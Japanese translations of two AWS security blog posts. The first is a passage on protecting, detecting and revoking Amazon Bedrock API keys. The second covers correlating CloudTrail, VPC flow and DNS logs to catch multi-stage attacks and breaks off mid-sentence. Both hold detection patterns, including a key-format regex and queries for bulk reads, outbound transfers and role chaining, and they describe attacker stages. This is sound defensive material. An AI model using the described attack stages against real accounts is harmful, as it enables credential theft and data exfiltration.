BedrockAPIKey-xxx という命名規則の専用 IAM ユーザーを自動的に作成し、マネージドポリシー AmazonBedrockLimitedAccess をアタッチします Amazon Bedrock コンソールから作成された IAM ユーザーでは、コンソールアクセス、コンソールパスワード、アクセスキー、多要素認証 (MFA) のいずれも有効化または設定されていません 一方、IAM コンソールから Amazon Bedrock の長期 API キーを作成する場合は、Amazon Bedrock のサービス固有の認証情報を既存の IAM ユーザーに直接関連付けることができます 各 IAM ユーザーは最大 2 つの長期 API キーを持つことができます 有効期間は 1 日から無期限までの範囲で設定できます 有効期間は、 Amazon Bedrock の API キーを管理するための新しい条件キー の 1 つである iam:ServiceSpecificCredentialAgeDays を使用して制御できます。 SCP の例 を参照してください。 パターン: ABSKQmVkcm9ja0FQSUtleS[A-Za-z0-9+\/]+={0,2} 長期 API キーが作成されると、次の例のように CloudTrail にイベントが記録されます。AWS CLI を使用して長期 API キーを特定することもできます。 { "eventTime": "2025-07-23T17:39:08Z", "eventSource": "iam.amazonaws.com", "eventName": "CreateServiceSpecificCredential", "awsRegion": "us-east-1", "sourceIPAddress": "203.0.113.1", "userAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko/20100101 Firefox/139.0", "requestParameters": { "userName": "BedrockAPIKey-0g21", "serviceName": "bedrock.amazonaws.com", "credentialAgeDays": 36500 }, "responseElements": { "serviceSpecificCredential": { "createDate": "Jul 23, 2025, 5:39:08 PM", "expirationDate": "Oct 7, 2125, 5:39:08 PM", "serviceName": "bedrock.amazonaws.com", "serviceCredentialAlias": "BedrockAPIKey-1234-56-EXAMPLE", "serviceCredentialId": "ACCA123456789EXAMPLE", "userName": "BedrockAPIKey-0g21", "status": "Active" } } } 識別 API キーを扱う際に理解しておくべき重要な点がいくつかあります。短期 API キーはクライアント側で生成されるため、 ListServiceSpecificCredentials などの AWS API で既存の認証情報を一覧表示しても、短期 API キーは含まれません。 長期 API キーは短期 API キーより可視性が高く、複数の方法で管理できます。長期 API キーが関連付けられているプリンシパルは、 Amazon Bedrock コンソール または IAM コンソール で特定できます。また、 AWS CLI コマンドまたは AWS SDK を使用すると、指定したユーザーのサービス固有の認証情報を一覧表示できます。 防御 Amazon Bedrock では、AWS 環境における API キーの使用をより適切に制御、保護するための 4 つの条件キー が導入されました。 条件キー iam:ServiceSpecificCredentialServiceName を使用すると、プリンシパルによるサービス固有の認証情報の作成を許可する AWS サービスを指定できます。 条件キー iam:ServiceSpecificCredentialAgeDays を使用すると、長期 API キーの作成時に最大有効期間を設定して、セキュリティのベストプラクティスを適用できます。 条件キー bedrock:BearerTokenType を使用すると、Amazon Bedrock で、特定の種類 (短期または長期) の API キーの使用を拒否または許可できます。 条件キー bedrock-mantle:BearerTokenType を使用すると、同様に Amazon Bedrock Powered by AWS Mantle で、特定の種類 (短期または長期) の API キーの使用を拒否または許可できます。 これらの条件キーは、短期 API キーと長期 API キーそれぞれのセキュリティ特性の違いを管理するうえで重要な役割を果たします。セキュリティチームはこれらを利用して、AWS Organizations レベルの SCP で組織のポリシーとセキュリティのベストプラクティスを適用できます。詳細については、これらの SCP の適用例を紹介している GitHub リポジトリ を参照してください。 短期 API キーには有効期限が組み込まれているため、潜在的なセキュリティリスクにさらされる期間を抑えられます。ただし、これらのキーは署名に使用したプリンシパルのアクセス許可を継承するため、Amazon Bedrock 以外のアクセス許可も含まれる場合がある点に注意してください。包括的な監視は、 「検知」 セクションで説明する方法で実装できます。 長期 API キーは有効期間を長く設定できるため、長時間実行されるアプリケーションには便利です。ただし、認証情報が悪用されうる期間が長くなる分、それを補うためのコントロールと監視の仕組みに特に注意を払う必要があります。 組織の環境で Amazon Bedrock API キーが不要と判断した場合は、SCP を実装して、サービス固有の認証情報の作成 ( iam:CreateServiceSpecificCredential ) と、Amazon Bedrock でのベアラートークンの使用 ( bedrock:CallWithBearerToken および bedrock-mantle:CallWithBearerToken ) をブロックできます。 注: IAM ポリシーで条件 iam:ServiceSpecificCredentialServiceName を使用せずに iam:CreateServiceSpecificCredential を拒否すると、 AWS CodeCommit や Amazon Keyspaces (Apache Cassandra 向け) など、他のサービスの API キーの作成も拒否されます。 こちらの SCP の例 では、Amazon Bedrock のサービス固有の認証情報の作成と、Amazon Bedrock での API キーの使用を拒否しています。これにより、組織内のビルダーが新しい API キーを作成できなくなり、不正なキー作成のリスクを軽減できます。このアプローチは、認証方法を厳格に管理したい組織や、サービス固有の認証情報を必要とするビジネス上の理由がない組織に有効です。また、 aws:PrincipalArn に指定したプリンシパルを対象とする条件 ArnNotLikeIfExists を SCP に追加すれば、特定のロールを許可リストに登録して、サービス固有の認証情報を作成できるようにすることもできます。 API キー保護の一環として、最小権限の原則に沿ってアクセス許可を定期的に見直し、調整してください。Amazon Bedrock コンソールから長期 API キーを作成すると、AWS はマネージドポリシー AmazonBedrockLimitedAccess がアタッチされた IAM ユーザーを自動的に作成します。このポリシーは、Amazon Bedrock、 AWS Key Management Service (AWS KMS) 、IAM、 Amazon Elastic Compute Cloud (Amazon EC2) 、AWS Marketplace のさまざまなアクションへのアクセスを許可します。長期 API キーと短期 API キーのどちらについても、プリンシパルがユースケースに必要な範囲を超えるアクセス許可を持っていないか評価してください。過剰なアクセス許可が見つかった場合は、ポリシー AmazonBedrockLimitedAccess を、アクセス許可の範囲を絞り込んだカスタムポリシーに 置き換え てください。 検知 API キーには、種類に応じて異なる監視アプローチが必要です。短期 API キーはクライアント側で生成されるため作成を検知できませんが、長期 API キーの作成は CloudTrail イベントで監視できます。 Converse 、 ConverseStream 、 InvokeModel 、 InvokeModelWithResponseStream への推論呼び出しは、管理イベントとして CloudTrail に記録されます。CloudTrail に記録されるこれらのイベントを通じて、短期 API キーと長期 API キーのどちらについても、その 使用 を検知できます。長期 API キーは有効期間が長いため不正使用されやすく、包括的な監視が不可欠です。組織は、次のような厳格な監視コントロールを実装する必要があります。 CreateUser イベントのうち、ユーザー名に BedrockAPIKey- プレフィックスが付いているものを監視します。Amazon Bedrock コンソールからユーザーが作成された場合、イベントは次のようになります。 { "eventTime": "2025-07-23T17:39:08Z", "eventSource": "iam.amazonaws.com", "eventName": "CreateUser", "awsRegion": "us-east-1", "sourceIPAddress": "203.0.113.1", "userAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko/20100101 Firefox/139.0", "requestParameters": { "userName": "BedrockAPIKey-0g21" }, "responseElements": { "user": { "path": "/", "userName": "BedrockAPIKey-0g21", "userId": " AIDACKCEVSQ6C2EXAMPLE", "arn": "arn:aws:iam::111122223333:user/BedrockAPIKey-0g21", "createDate": "Jul 23, 2025, 5:39:08 PM" } } } CreateServiceSpecificCredential イベントのうち、 requestParameters.serviceName = bedrock.amazonaws.com を満たすものを追跡します API キーがアクティブに使用されていることを示す次の指標を監視します additionalEventData.callWithBearerToken = true eventSource = bedrock.amazonaws.com { "eventVersion": "1.11", "userIdentity": { "type": "IAMUser", "principalId": " AIDACKCEVSQ6C2EXAMPLE", "arn": "arn:aws:iam::user/BedrockAPIKey-0g21", "accountId": "", "userName": "BedrockAPIKey-0g21" }, "eventTime": "2025-07-23T17:39:37Z", "eventSource": "bedrock.amazonaws.com", "eventName": "Converse", "awsRegion": "us-east-1", "sourceIPAddress": "", "userAgent": "curl/8.11.1", "requestParameters": { "modelId": "us.anthropic.claude-3-5-haiku-20241022-v1:0" }, "responseElements": null, "additionalEventData": { "callWithBearerToken": true, "inferenceRegion": "us-west-2" } } 監視すべきイベントの一覧については、「 Security Playbook for Responding to Amazon Bedrock Security Events 」を参照してください。 Amazon EventBridge ルール Amazon EventBridge ルールを実装すると、CreateServiceSpecificCredential などの Amazon Bedrock API キーのライフサイクルイベントを検知してアラートを送信できるため、セキュリティ監視を強化できます。 EventBridge ルールを使用した監視は、次の 4 つのコンポーネントで構成されます。 EventBridge ルール : CreateServiceSpecificCredentialRule と BearerTokenUsageRule が、認証情報の作成とベアラートークンの使用を CloudTrail で監視します SNS トピック : BedrockAlertsTopic が、暗号化されたセキュリティアラートを E メールで配信します KMS キー : SNSEncryptionKey が SNS メッセージを暗号化します IAM ロール: サービスの運用に必要なアクセスを提供します 前述の EventBridge ルールは、 eventName (実行されているアクション)、 eventSource (アクションの実行主体または対象となるサービス)、 additionalEventData (レスポンスの詳細を含むブロック) をキーとして、CloudTrail ログ内の特定のパターンを監視します。 次のルールは、CloudTrail イベント CreateServiceSpecificCredential をチェックします。 source: - aws.iam detail-type: - AWS API Call via CloudTrail detail: eventSource: - iam.amazonaws.com eventName: - CreateServiceSpecificCredential API キーを使用して実行されたアクション ( BearerToken = true ) を検索するには、次のルールを使用します。 detail-type: - AWS API Call via CloudTrail detail: additionalEventData: callWithBearerToken: - true EventBridge ルールのデプロイ CloudFormation テンプレート を使用すると、サービス固有の認証情報の作成とその後の使用の両方を自動で監視するよう設定できます。このテンプレートは、前述の CloudTrail イベントが検知されたときに E メール通知を送信するよう EventBridge を設定するため、環境内の API キー操作をリアルタイムで把握できます。詳細については、GitHub リポジトリにあるこのソリューションの 説明 と CloudFormation テンプレート を参照してください。 コンプライアンスのための AWS Config ルール AWS Config ルールを使用して、IAM ユーザーがアクティブなサービス固有の認証情報を持っていないかを監視することで、セキュリティポリシーへの準拠を維持しやすくなります。 AWS Config ルール は、次の手順を実行します。 AWS Config ルールが 24 時間ごとに Lambda 関数をトリガーし、この関数がアカウント内の IAM ユーザーを列挙します 関数は、ユーザーごとにアクティブなサービス固有の認証情報の有無を確認します サービス固有の認証情報を持つユーザーは NON_COMPLIANT としてマークされます アクティブな認証情報を持たないユーザーは COMPLIANT としてマークされます 結果は、レポートと必要に応じた修復のために AWS Config に送信されます AWS Config ルールのデプロイ この AWS Config ルールは、 AWS Config RDK を使用して、CloudShell またはローカルの CLI からデプロイできます。 git clone https://github.com/awslabs/aws-config-rules.git cd aws-config-rules/python-rdklib git fetch &amp;&amp; git checkout IAM_USER_NO_SERVICE_SPECIFIC_CREDENTIALS pip install rdk rdklib rdk deploy IAM_USER_NO_SERVICE_SPECIFIC_CREDENTIALS aws configservice start-config-rules-evaluation --config-rule-names "IAM_USER_NO_SERVICE_SPECIFIC_CREDENTIALS" 対応と復旧 インシデント対応計画は、いずれも準備フェーズから始まります。準備フェーズの一環として、API キーの所有者と使用状況を明確に記録し、どのアプリケーションやチームがどのキーを使用しているかを文書化してください。また、長期 API キーが必要な場合は、 AWS Secrets Manager などの安全なストレージの使用を検討してください。 API キーに関連するセキュリティインシデントが疑われる場合は、直ちに行動することが重要です。最初のステップは、CloudTrail ログを確認して API キーの作成と使用を承認済みの変更リクエストと照合し、侵害の可能性を検証することです。これにより、不正なキーの作成や使用を特定できます。さらに、これらのログに記録された送信元 IP アドレスとユーザーエージェント文字列を分析すれば、アクセス元が承認済みの場所やアプリケーションなのか、悪意のある可能性がある送信元なのかを判断できます。 インシデント対応のアプローチは、キーの種類によって大きく異なります。短期 API キーの場合、有効期限が最大 12 時間であるため潜在的な被害は限定されますが、有効期限切れを待たずに直ちに対処することが重要です。セキュリティチームは、侵害された短期 API キーを使用しているアプリケーションやシステムを特定し、IAM ロールセッションを 取り消す か、アイデンティティに対して bedrock:CallWithBearerToken および bedrock-mantle:CallWithBearerToken のアクセス許可を拒否する必要があります。 進行中のセキュリティイベントに Amazon Bedrock の長期 API キーが関与している場合、セキュリティチームはコンソールまたは AWS CLI を使用して直ちに対処できます。コンソールでは、IAM コンソールを使用して長期 API キーをすばやく 無効化 または 削除 できます。対応手順を自動化している組織向けには、AWS CLI にキー管理用のコマンドが用意されています。 AWS CLI を使用した対応 API キーに関するイベントに対応するには、次の手順を実行します。 サービス固有の認証情報を特定します。 aws iam list-service-specific-credentials --user-name &lt;user name&gt; --service-name bedrock.amazonaws.com 直ちに封じ込めるには、前の手順で取得した認証情報 ID を使用して認証情報を 無効化 します。 aws iam update-service-specific-credential --service-specific-credential-id &lt;credential ID&gt; --user-name &lt;user name&gt; --status Inactive イベントを評価した後、関連付けられた API キーを 完全に削除 できます。 aws iam delete-service-specific-credential --service-specific-credential-id &lt;credential ID&gt; --user-name &lt;user name&gt; 復旧フェーズでは、適切な設定で安全な新しいキーを作成し、アプリケーションの設定を更新するとともに、影響を受けるすべての継続的インテグレーションおよび継続的デリバリー (CI/CD) パイプラインと開発チームに変更を確実に通知することに重点を置いてください。 Amazon Bedrock API キーに関する対策の概要 次の表は、Amazon Bedrock API キーに関連するさまざまな要素を、 NIST CSF 2.0 のコア機能 に対応付けてまとめたものです。 種類 識別 防御 検知 (CloudTrail のイベントを使用) 対応 短期 API キー 短期 API キーはクライアント側で生成されるため、AWS API では一覧表示されません。 作成 : 短期 API キーはクライアント側で生成されるため、作成をブロックすることはできません。 使用 : 使用を防ぐには、アクション bedrock:CallWithBearerToken と bedrock-mantle:CallWithBearerToken を拒否します。 長期および短期の Amazon Bedrock API キーのアクセス許可を変更する 作成 : クライアント側で行われるため、CloudTrail にイベントは記録されません。 使用 : additionalEventData.callWithBearerToken = true を含む CloudTrail イベント API キーの使用を検知して通知するための EventBridge ルールと SNS 。 IAM ロールセッションの 取り消し 、またはアイデンティティに対するアクセス許可の拒否 長期 API キー AWS CLI または SDK を使用した IAM のアクション ListServiceSpecificCredentials 作成 : アクション iam:CreateServiceSpecificCredential を拒否すると、Amazon Bedrock を含むすべてのサービスでサービス固有の認証情報の作成をブロックできます。 使用 : 使用を防ぐには、アクション bedrock:CallWithBearerToken と bedrock-mantle:CallWithBearerToken を拒否します。 長期および短期の Amazon Bedrock API キーのアクセス許可を変更する 作成 : eventName が CreateServiceSpecificCredential の CloudTrail イベント。Amazon Bedrock コンソールを使用した場合は、 CreateUser イベントも対象です。 使用 : additionalEventData.callWithBearerToken = true を含む CloudTrail イベント API キーの作成と使用を検知して通知するための EventBridge ルールと SNS 。 AWS Config ルール コンソールまたは AWS CLI を使用して、長期 API キーをすばやく 無効化 または 削除 します Amazon Bedrock 以外のサービス固有の認証情報 Amazon Bedrock の API キーのほかにも、AWS CodeCommit や Amazon Keyspaces などの AWS サービスが サービス固有の認証情報をサポート しています。 この記事で紹介したセキュリティ対策は、これらのサービスにも適用できます。次の表は、これらのサービス固有の認証情報の一般的なユースケースを示しています。 サービス ユースケース iam:ListServiceSpecificCredentials のレスポンスに含まれるサービス名 推奨される代替手段 AWS CodeCommit の Git 認証情報 AWS CodeCommit リポジトリ内のファイルのアップロード、追加、編集に使用 codecommit.amazonaws.com SSH 認証やフェデレーション認証などの方法があります。詳細については、「 AWS CodeCommit: 他の方法を使用したセットアップ 」を参照してください Apache Cassandra 向けの Amazon Keyspaces 認証情報 Apache Cassandra 互換のアクセスに使用 cassandra.amazonaws.com SigV4 認証プラグインを利用できます。このプラグインは複数のプログラミング言語をサポートしており、IAM ロールやフェデレーティッドアイデンティティによる認証を可能にします。詳細については、「 IAM ロールと SigV4 プラグインを使用して Amazon Keyspaces に接続するための一時的な認証情報を作成する 」を参照してください まとめ 長期 API キーがもたらす影響とその管理方法を理解しておくと、Amazon Bedrock API キーの実装戦略について、十分な情報に基づいた判断を下せます。重要なのは、強固なセキュリティポスチャを維持しながら、セキュリティコントロールをリスク選好度と運用要件に合わせることです。 AWS は、可能な限り AWS STS 認証情報を主要な認証方法として使用することを強く推奨しています。AWS STS 認証情報を使用できない場合は、有効期限の仕組みが組み込まれた短期 API キーを検討してください。長期 API キーは、AWS STS 認証情報も短期の認証情報も選択肢にならない場合にのみ実装してください。API キーを実装する際に組織として重点を置くべき点は、次のとおりです。AWS CLI と CloudTrail ログを使用して API キーを識別すること、SCP などの予防的コントロールで API キーの作成と使用を管理して防御すること、CloudTrail イベント、EventBridge、AWS Config ルールによる包括的な監視で API キーのアクティビティを検知すること、そして明確なインシデント対応手順を整備し、侵害された可能性のある API キーに迅速に対応することです。 ベストプラクティスは、最小権限の原則に基づく適切なアクセスコントロールを維持しながら、これらのコントロールを実装することです。この多層的なアプローチにより、開発ニーズに合わせて API キーを効果的に活用しつつ、強固なセキュリティポスチャを維持できます。 この記事に関するご質問は、 AWS サポートにお問い合わせ ください。 Jennifer Paz Jennifer は 10 年以上の経験を持つ Security Engineer で、現在は AWS Customer Incident Response Team (CIRT) に所属しています。お客様のセキュリティ課題の解決を支援し、セキュリティポスチャを強化するための複雑なソリューションを実装することにやりがいを感じています。仕事以外では、熱心なランナーであり、ピックルボール愛好家、旅行好き、グルメでもあり、常に新しい食の冒険を探し求めています。 Kyle Dickinson かつて Gibson を探索していた私は、今ではクラウドセキュリティの専門家です。AWS の Sr. Security Solution Architect として、かつて探索していたシステムを今は守っています。AWS のお客様を守っていないときは、LEGO 作品を組み立てたり、大けがをせずにロングボードの腕を上げようと奮闘したりしています。家庭生活は、自信たっぷりの小さな犬と、いつも笑わせてくれる元気な 4 歳の娘を中心に回っています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2026 年 8 月 26 日に公開された AWS Blog “ Detecting multi-stage attacks on AWS: A guide to cross-service signal correlation ” を翻訳したものです。 1 つのセキュリティサービスから届くアラート単体でわかるのは、何かが起きたという事実だけです。そのシグナルを他のサービスのアクティビティやお客様のビジネスコンテキストと合わせて読み解くことで、それが多段階攻撃の一部かどうかを判断できます。 次のような短い一連の流れを考えてみましょう。あるアイデンティティが、これまで使用したことのない送信元アドレスから GetCallerIdentity を呼び出します。数分以内に、同じアイデンティティが複数のサービスにわたって List 呼び出しと Describe 呼び出しを集中的に実行し、その一部が AccessDenied で失敗します。その直後、先週登録されたばかりのドメインに向けて、大量のデータが環境外へ送出されます。 Amazon GuardDuty は、なじみのない送信元からの偵察など、この流れの一部を Recon:IAMUser/* や Discovery:S3/* などの検出結果タイプで既に検出している可能性があります。各要素を相関付けることで、お客様のビジネスコンテキストと結び付いた一連の流れの全体像を把握できます。これにより、検出結果を 1 件ずつトリアージするのではなく、全体として対処できるようになります。 この記事は、 Amazon Web Services (AWS) の検出サービスを運用しており、自身の環境に固有のパターンをとらえたいセキュリティエンジニアとセキュリティオペレーションチームを対象としています。AWS の検出機能とビジネスコンテキストがどのように組み合わさるのか、そしてそのコンテキストを活用した相関分析をどのように構築するのかを説明します。例はいずれも Amazon CloudWatch Logs Insights で実行できるので、すぐに試せます。最後のセクションでは、これらを自動化されたパイプラインへ発展させる方法も説明します。これらのクエリの前提条件は、この記事の後半のウォークスルーに記載しています。 AWS の検出サービスから始める まずは AWS の検出サービスを活用しましょう。これらのサービスは多くのお客様に共通する脅威をカバーしており、この記事の内容もすべてこれらを基盤としています。 Amazon GuardDuty は、 AWS CloudTrail 、 Amazon Virtual Private Cloud (Amazon VPC) フローログ、DNS クエリログ、 Amazon Simple Storage Service (Amazon S3) データイベントなどのアクティビティを分析し、追加設定なしで信頼度の高い検出結果を生成します。 Amazon Detective (リソースと検出結果の関係を可視化するセキュリティ調査サービス) を使用すると、サービスやアカウントをまたいだグラフベースのコンテキストで検出結果を調査できます。 AWS Security Hub は、セキュリティの検出結果を集約し、優先順位付けされた単一のダッシュボードに表示します。 Amazon Security Lake は、セキュリティデータを専用のデータレイクに一元化し、長期的な分析に向けて Open Cybersecurity Schema Framework (OCSF) 形式で保存します。 Amazon Inspector (ワークロードのソフトウェアの脆弱性をスキャンする脆弱性管理サービス) は、脆弱性データをワークロードのコンテキストと相関付けます。 独自の仕組みを構築する前に、これらのサービスを有効にしてチューニングしてください。ここでいうチューニングとは、環境に合わせて感度を調整して誤検知を減らすこと、各サービスが監視するデータソースを選択すること、既知の正常なパターンに対する検出結果を抑制することを指します。 GuardDuty が多段階攻撃を自動的に相関付ける 手作業で何かを構築する前に、GuardDuty が既に何をしてくれるのかを確認しましょう。 Amazon GuardDuty 拡張脅威検出 は、 AWS CloudTrail 、Amazon S3 データイベント、Runtime Monitoring、 Amazon Elastic Kubernetes Service (Amazon EKS) の監査ログなど、複数のデータソースにわたるシグナルを相関付けます。そして多段階のパターンを検出すると、重大度が「重大」の攻撃シーケンス検出結果を 1 つ発行します。認証情報の侵害に続くデータ持ち出し (エクスフィルトレーション) などのシーケンスを認識し、それらを MITRE ATT&amp;CK の戦術にマッピングしたうえで、タイムラインと修復ガイダンスを添付します。現在 GuardDuty を有効にしている場合、GuardDuty 拡張脅威検出はデフォルトで既に有効になっており、クエリを作成する必要はありません。GuardDuty の料金の適用方法の詳細については、「 Amazon GuardDuty の料金 」を参照してください。 冒頭の例で示した認証情報の侵害シーケンスは、まさに GuardDuty 拡張脅威検出が検出対象とする普遍的なパターンです。このようなパターンの検出は GuardDuty 拡張脅威検出に任せてください。攻撃シーケンス検出結果は GuardDuty コンソールで他の検出結果と並んで表示され、他の検出結果と同じように Security Hub や対応ワークフローにルーティングされます。 GuardDuty が対処するのは、どのアカウントでも同じように見える脅威です。一方で GuardDuty には、ある操作がお客様のアカウントでは不審だと判断するためのコンテキストがありません。そのコンテキストを提供するのがお客様の役割です。 ビジネスコンテキストを追加する ビジネスコンテキストとは、お客様の環境についてお客様だけが知っている情報です。例えば、どのバケットに機密データが保存されているか、どのプリンシパルがどのリソースにアクセスする正当な理由を持っているか、ポリシーでどのロールチェーンが許可されているか、本番環境の変更ウィンドウがいつかといった情報です。GuardDuty 拡張脅威検出は多くのお客様に共通するパターンから学習しますが、こうした環境固有の問いには答えられません。これらを相関分析として表現することで、お客様の環境に合わせてチューニングされた検出レイヤーを追加できます。以下の 4 つのパターンでは、こうした事実をそれぞれ 1 つずつクエリに落とし込みます。 これらのクエリは、AWS マネジメントコンソールで CloudWatch を開き、 [ログ] 、 [ログのインサイト] の順に選択して、 CloudWatch Logs Insights のクエリ言語 で実行します。ほとんどのクエリは、 証跡の配信先 である CloudWatch Logs ロググループから CloudTrail イベントを読み取ります。証跡の出力先が Amazon S3 のみの場合は、証跡に CloudWatch Logs への配信を追加するか、 Amazon Athena (SQL を使用して Amazon S3 のデータを分析するサーバーレスのクエリサービス) で同等のクエリを実行してください。 注 : この記事のクエリとコードでは、プレースホルダー値を使用しています。実行前に、 your-sensitive-bucket (S3 バケット名)、 your-key-id (AWS KMS キー ID)、 region (us-east-1 などの AWS リージョン)、 account-id (12 桁の AWS アカウント ID)、 aws-cloudtrail-logs-my-trail (CloudTrail ロググループ名) を実際の値に置き換えてください。 マルチアカウント環境についても補足しておきます。 AWS Organizations では、 組織の証跡 がすべてのアカウントのイベントを 1 つのロググループに配信します。そのため、これらのクエリはそのまま機能しますが、複数アカウントにまたがる結果が返されます。アカウント単位で確認するには、 recipientAccountId でフィルタリングしてください。組織の証跡を使用していない場合は、アカウントごとにクエリを実行するか、 Amazon Security Lake を一元的なクエリの基盤として使用してください。 AWS サービスにマッピングした攻撃チェーン 多段階攻撃は 5 つのフェーズを経て進行し、フェーズごとに異なるサービスにシグナルが残ります。これらのシグナルは、次の 3 つのログソースに現れます。アカウント内の API アクティビティを記録する CloudTrail、ネットワーク接続のメタデータをキャプチャする Amazon VPC フローログ、そして VPC からの DNS クエリを記録する Amazon Route 53 Resolver クエリログです。 初期アクセス – 盗まれた認証情報が環境内で使用されます。CloudTrail には、なじみのない送信元からの GetCallerIdentity 、 GetSessionToken 、または AssumeRole が記録されます。 探索 – 脅威アクターは List 、 Describe 、 Get の呼び出しでリソースを列挙します。その際、多くの場合 AccessDenied レスポンスが発生します。 権限昇格 – 脅威アクターはロールを連鎖させたり、ポリシーを編集したりします。CloudTrail には、 AssumeRole のシーケンス、 PutRolePolicy 、または CreateAccessKey が記録されます。 ラテラルムーブメント (横展開) – 脅威アクターはアカウントや AWS リージョンをまたいで移動し、普段使われていない場所でロールを引き受けたり、リソースを作成したりします。 データ持ち出し – 大規模な GetObject 呼び出し、VPC フローログに記録される大量のアウトバウンド転送、Route 53 Resolver クエリログに記録される最近登録されたドメインへの DNS クエリを通じて、データが持ち出されます。 図 1 は、5 つの攻撃フェーズと、各フェーズを記録する AWS のログソースとの対応を示しています。 図 1: AWS サービスにマッピングした攻撃チェーン GuardDuty 拡張脅威検出は、このチェーン全体を対象に普遍的なパターンを監視します。以下の 4 つのパターンでは、そこにお客様ならではの観点、つまりビジネスコンテキストを追加します。 パターン 1: 想定外のプリンシパルによる機密データへのアクセス この検出を支えるのは、データ分類と通常のアクセスパターンです。例えば、あるバケットには顧客記録が、別のバケットには公開ウェブアセットが保存されているとします。お客様は、機密性の高い顧客記録を読み取る正当な理由があるプリンシパルがどれかを把握しています。その知識をルールとして組み込むと、一見ありふれた読み取りが、追跡すべき事象に変わります。 ここでは 3 つのシグナルが重なり合います。CloudTrail には、機密として分類したバケットに対する大量の GetObject が記録されます。そのプリンシパルは、このバケットの読み取りが想定されるプリンシパルのリストに含まれていません。さらに、VPC フローログには同じ時間枠内に同じ送信元からの大量のアウトバウンド転送が記録され、DNS クエリログには最近登録された宛先ドメインが記録されます。これらが組み合わさることで、潜在的な脅威が存在するという確信度が高まります。 CloudTrail の管理イベントには GetObject は記録されません。 GetObject をキャプチャするには、対象のバケットで CloudTrail データイベントを有効にする 必要があります。該当するバケットでデータイベントが有効になっていなかったために、 GetObject を見逃しているチームは少なくありません。 次のクエリは、機密バケットに対する大量の読み取りをプリンシパル別にグループ化して表示します。CloudTrail ロググループを選択した状態で、CloudWatch Logs Insights で実行してください。 fields @timestamp, userIdentity.arn, requestParameters.bucketName | filter eventSource = "s3.amazonaws.com" and eventName = "GetObject" | filter requestParameters.bucketName = "your-sensitive-bucket" | stats count(*) as objectReads, count_distinct(requestParameters.key) as distinctObjects by userIdentity.arn, bin(10m) | filter objectReads &gt; 100 | sort objectReads desc しきい値の 100 はプレースホルダーです。通常時の 1 週間分のアクティビティに対してクエリを実行し、そのバケットの読み取り回数の 95 パーセンタイルを求めて、それを上回る値をしきい値に設定してください。次に、クエリが返した各プリンシパルを、読み取りが想定されるプリンシパルのリストと照合します。リストに含まれていないプリンシパルが大量に読み取っている場合、それが調査すべき結果です。 裏付けを取るには、対応するアウトバウンド転送を探します。ロググループの選択を VPC フローログのロググループに切り替えて、次のクエリを実行してください。 fields @timestamp, srcAddr, dstAddr, bytes | filter action = "ACCEPT" # exclude RFC 1918 private ranges so only external destinations remain | filter dstAddr not like /^10\./ and dstAddr not like /^192\.168\./ and dstAddr not like /^172\.(1[6-9]|2[0-9]|3[0-1])\./ | stats sum(bytes) as totalBytes by srcAddr, dstAddr, bin(10m) | filter totalBytes &gt; 1000000000 | sort totalBytes desc Amazon S3 のクエリはプリンシパルを返しますが、フローログのクエリは IP アドレスを対象とするため、プリンシパルを IP アドレスに変換する必要があります。この変換の詳細は、この記事の後半の実践例で説明します。 レポート用バケットを 1 日中読み取っている分析ロールを想像してみてください。ある日の午後、このロールがレポート用バケットではなく顧客記録バケットから 1,000 個のオブジェクトを読み取ったとします。GuardDuty は反応しません。認証済みのロールが有効な GetObject 呼び出しを行うこと自体は、他の環境では不審とみなされないからです。一方、お客様のクエリはこれを検出します。そのロールが、このバケットの読み取りが想定されるプリンシパルのリストに含まれていないからです。お客様が適用した分類こそが、何も起きていないように見える状況をシグナルに変えるのです。 図 2 は、CloudTrail に記録された機密バケットからの大量の読み取り、VPC フローログに記録された大量のアウトバウンド転送、Route 53 Resolver ログに記録された登録されて間もないドメインの名前解決を示しています。 図 2: 単一の時間枠内で重なり合い、データ持ち出しを示す 3 つのシグナル パターン 2: アクセスポリシーを逸脱するロールチェーン ビルドのために 1 つ目のロールを引き受け、続いてリリースのために 2 つ目のロールを引き受けるデプロイを想像してみてください。あるプリンシパルにとって、この 2 ホップの AssumeRole チェーンは日常的なものですが、別のプリンシパルにとってはポリシー違反になります。このパターンの前提となるのは、組織が許可するチェーン、つまり信頼トポロジーです。その知識をクエリに組み込みましょう。 このパターンでは、次の 3 つの条件を満たすものを検出します。 CloudTrail に、短い時間枠内で同じ送信元からの複数の AssumeRole 呼び出しが記録されている チェーンが CreateAccessKey 、 PutRolePolicy 、 AttachUserPolicy などのセキュリティ上重要なアクションで終わる 起点となるアイデンティティが、ポリシー上、そのチェーンを実行する主体として想定されていない CloudWatch Logs Insights で CloudTrail ロググループを選択し、2 ホップ以上のチェーンを抽出する次のクエリを実行してください。 fields @timestamp, userIdentity.arn, requestParameters.roleArn, sourceIPAddress | filter eventName = "AssumeRole" | stats count(*) as assumeCount, count_distinct(requestParameters.roleArn) as rolesAssumed by sourceIPAddress, bin(5m) | filter assumeCount &gt;= 2 and rolesAssumed &gt;= 2 | sort assumeCount desc チェーンは最小で 2 ホップです。環境内でロールを頻繁に連鎖させている場合は、カウントを引き上げてください。デプロイパイプラインは 1 時間に複数のロールを引き受けることが多く、AWS Security Hub などの AWS サービスプリンシパルも同様です。パイプラインロールや既知の AWS サービスプリンシパルなど、複数のロールを引き受けることが想定されるアイデンティティは除外してください。残ったものが調査対象です。例えば、人が通常とは異なる時間帯に複数のロールを引き受け、最終的に新しいアクセスキーを作成しているケースなどです。この区別はデータとして管理してください。つまり、正常とみなすアイデンティティとアクションをリスト化し、そのリストから外れるチェーンを確認します。 パターン 3: キーを所有するワークロード以外で使用される暗号化キー ここでのシグナルは、リソースの所有関係です。特定の AWS Key Management Service (AWS KMS) キーはワークロードの暗号化キーを作成および管理するもので、1 つのキーは決済サービスなど 1 つのワークロード専用であるべきです。キーに対する Decrypt 呼び出しは有効かつ認可された API アクションなので、呼び出し自体に不審な点はありません。別のプリンシパルによるこのキーの使用を、改めて確認すべき事象に変えるのは、お客様が定めた所有ルールです。 このパターンは、1 つのワークロードに限定されたカスタマーマネージドキーにのみ適用されます。AWS マネージドキー ( alias/aws/* ) や、意図的に複数のサービス間で共有しているカスタマーマネージドキーには適用されません。このルールをデプロイする前に、キーポリシーの Principal ブロックで、キーが単一のワークロード向けであることを確認してください。 次の 2 つの条件がそろう場合は、不正使用の可能性があります。 CloudTrail に、1 